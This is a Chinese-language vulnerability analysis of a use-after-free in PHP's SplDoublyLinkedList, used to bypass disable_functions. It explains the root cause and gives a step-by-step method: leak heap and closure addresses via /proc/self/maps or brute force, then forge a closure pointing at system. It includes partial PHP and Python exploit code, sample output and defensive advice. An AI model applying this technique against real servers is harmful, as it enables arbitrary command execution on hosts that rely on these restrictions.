通过UAF bypass PHP disabled functions
字数 1307 2025-08-18 11:35:42

PHP SplDoublyLinkedList UAF漏洞分析与利用

漏洞概述

本漏洞存在于PHP内置类SplDoublyLinkedList中,是一个Use-After-Free (UAF)漏洞,可用于绕过PHP的disabled functions限制。该漏洞影响PHP 7.4.10、7.3.22和7.2.34版本,截至文档编写时尚未被官方修复。

漏洞原理

漏洞触发点

漏洞发生在SplDoublyLinkedList类的unset操作中,具体问题在于traverse_pointer指针的处理顺序不当:

if (element != NULL) {
    /* connect the neighbors */
    ...
    
    /* take care of head/tail */
    ...
    
    /* finally, delete the element */
    llist->count--;
    
    if(llist->dtor) {
        llist->dtor(element);
    }
    
    if (intern->traverse_pointer == element) {
        SPL_LLIST_DELREF(element);
        intern->traverse_pointer = NULL;
    }
    ...
}

关键问题在于:

  1. 删除元素的操作被放在了置空traverse_pointer指针之前
  2. 在删除对象时,可以在其析构函数中通过current访问到这个对象
  3. 也可以通过next访问到下一个元素
  4. 如果下一个元素已经被删除,就会导致UAF

链表元素结构

typedef struct _spl_ptr_llist_element {
    struct _spl_ptr_llist_element *prev;
    struct _spl_ptr_llist_element *next;
    int                            rc;
    zval                           data;
} spl_ptr_llist_element;
  • 前后指针 + 引用计数 + zval格式的data,总大小为0x28字节

可控的zend_string结构

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;                /* hash value */
    size_t            len;
    char              val[1];
};

通过字符串进行UAF,可以控制元素的整个data部分。

利用方法

无openbase_dir限制的情况

  1. 在链表中放置3个主要元素:

    • 触发析构函数的对象
    • 用于UAF的元素
    • closure对象
  2. 读取/proc/self/maps获取PHP申请的Chunk地址(最小为2MB)

  3. 在链表中放入特殊标记的元素,从Chunk中每0x1000字节搜索一次这些元素

  4. 通过元素的前指针找到链表中的closure对象

  5. 泄露closure handler的地址,然后向前搜索system函数handler的地址

  6. 伪造一个closure对象,将其handler设置为system

  7. 调用该closure对象执行system命令

有openbase_dir限制的情况

由于无法直接读取/proc/self/maps,需要采用爆破方式:

  1. 申请一个120MB的大Chunk(PHP默认最大内存使用为128MB)

  2. 从0x7f0000000000开始每0x8000000爆破一次,寻找这个大Chunk

  3. 找到后每0x20000循环泄露PHP Chunk和链表地址

  4. 后续步骤与无限制情况相同

利用脚本分析

PHP部分关键代码

class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        // ... 后续利用代码
    }
}

// 初始化链表
$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

Python爆破部分

def bomb1(_url):
    # 爆破PHP Chunk地址
    addr = 0x7f0000000000
    while True:
        try:
            addr = addr + 0x10000000 / 2
            content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), ...)
            # ... 检查响应

实际利用效果

无限制情况示例输出

[+]PHP Chunk: 7f026be00000 - 7f026c000000, length: 0x200000
[+]SplDoublyLinkedList Element: 7f026be540f0
[+]Closure Chunk: 7f026be544b0
[+]Closure Object: 7f026be588c0
[+]Closure Handler: 7f026d4f9780
[+]Find system's handler: 7f026cae9100
[+]Executing command:
PHP 7.4.10 (cli) (built: Sep 10 2020 13:50:32) ( NTS )

有限制情况示例输出

[+]Bomb 1400 times, address of first chunk maybe: 0x7f2bc0000000L
[+]Bomb 70 times, address of php chunk maybe: 0x7f2e58c00000L
[+]PHP crash 14 times
[+]SplDoublyLinkedList Element: 7f2e596540f0
[+]Closure Chunk: 7f2e596544b0
[+]Find system's handler: 7f2e5a310100

限制与不足

  1. 在有openbase_dir限制的情况下,需要进行大量爆破(约1400次)
  2. 每次爆破都会导致Apache子进程崩溃重启
  3. 偶尔会因为读取越界导致崩溃(约100次内)
  4. 利用过程相对复杂,需要精确控制内存布局

防御建议

  1. 及时更新PHP版本,关注官方修复
  2. 限制PHP内存使用大小
  3. 使用Suhosin等强化PHP安全的扩展
  4. 严格控制openbase_dir设置
  5. 禁用不必要的PHP内置类

总结

这个UAF漏洞通过精心构造的SplDoublyLinkedList操作,结合PHP内存管理特性,实现了对disabled functions的绕过。虽然利用条件有一定限制,但在特定环境下仍具有较高的危害性。理解该漏洞有助于更好地防御类似安全问题。

PHP SplDoublyLinkedList UAF漏洞分析与利用 漏洞概述 本漏洞存在于PHP内置类 SplDoublyLinkedList 中,是一个Use-After-Free (UAF)漏洞,可用于绕过PHP的disabled functions限制。该漏洞影响PHP 7.4.10、7.3.22和7.2.34版本,截至文档编写时尚未被官方修复。 漏洞原理 漏洞触发点 漏洞发生在 SplDoublyLinkedList 类的 unset 操作中,具体问题在于 traverse_pointer 指针的处理顺序不当: 关键问题在于: 删除元素的操作被放在了置空 traverse_pointer 指针之前 在删除对象时,可以在其析构函数中通过 current 访问到这个对象 也可以通过 next 访问到下一个元素 如果下一个元素已经被删除,就会导致UAF 链表元素结构 前后指针 + 引用计数 + zval格式的data,总大小为0x28字节 可控的zend_ string结构 通过字符串进行UAF,可以控制元素的整个data部分。 利用方法 无openbase_ dir限制的情况 在链表中放置3个主要元素: 触发析构函数的对象 用于UAF的元素 closure对象 读取 /proc/self/maps 获取PHP申请的Chunk地址(最小为2MB) 在链表中放入特殊标记的元素,从Chunk中每0x1000字节搜索一次这些元素 通过元素的前指针找到链表中的closure对象 泄露closure handler的地址,然后向前搜索system函数handler的地址 伪造一个closure对象,将其handler设置为system 调用该closure对象执行system命令 有openbase_ dir限制的情况 由于无法直接读取 /proc/self/maps ,需要采用爆破方式: 申请一个120MB的大Chunk(PHP默认最大内存使用为128MB) 从0x7f0000000000开始每0x8000000爆破一次,寻找这个大Chunk 找到后每0x20000循环泄露PHP Chunk和链表地址 后续步骤与无限制情况相同 利用脚本分析 PHP部分关键代码 Python爆破部分 实际利用效果 无限制情况示例输出 有限制情况示例输出 限制与不足 在有openbase_ dir限制的情况下,需要进行大量爆破(约1400次) 每次爆破都会导致Apache子进程崩溃重启 偶尔会因为读取越界导致崩溃(约100次内) 利用过程相对复杂,需要精确控制内存布局 防御建议 及时更新PHP版本,关注官方修复 限制PHP内存使用大小 使用Suhosin等强化PHP安全的扩展 严格控制openbase_ dir设置 禁用不必要的PHP内置类 总结 这个UAF漏洞通过精心构造的SplDoublyLinkedList操作,结合PHP内存管理特性,实现了对disabled functions的绕过。虽然利用条件有一定限制,但在特定环境下仍具有较高的危害性。理解该漏洞有助于更好地防御类似安全问题。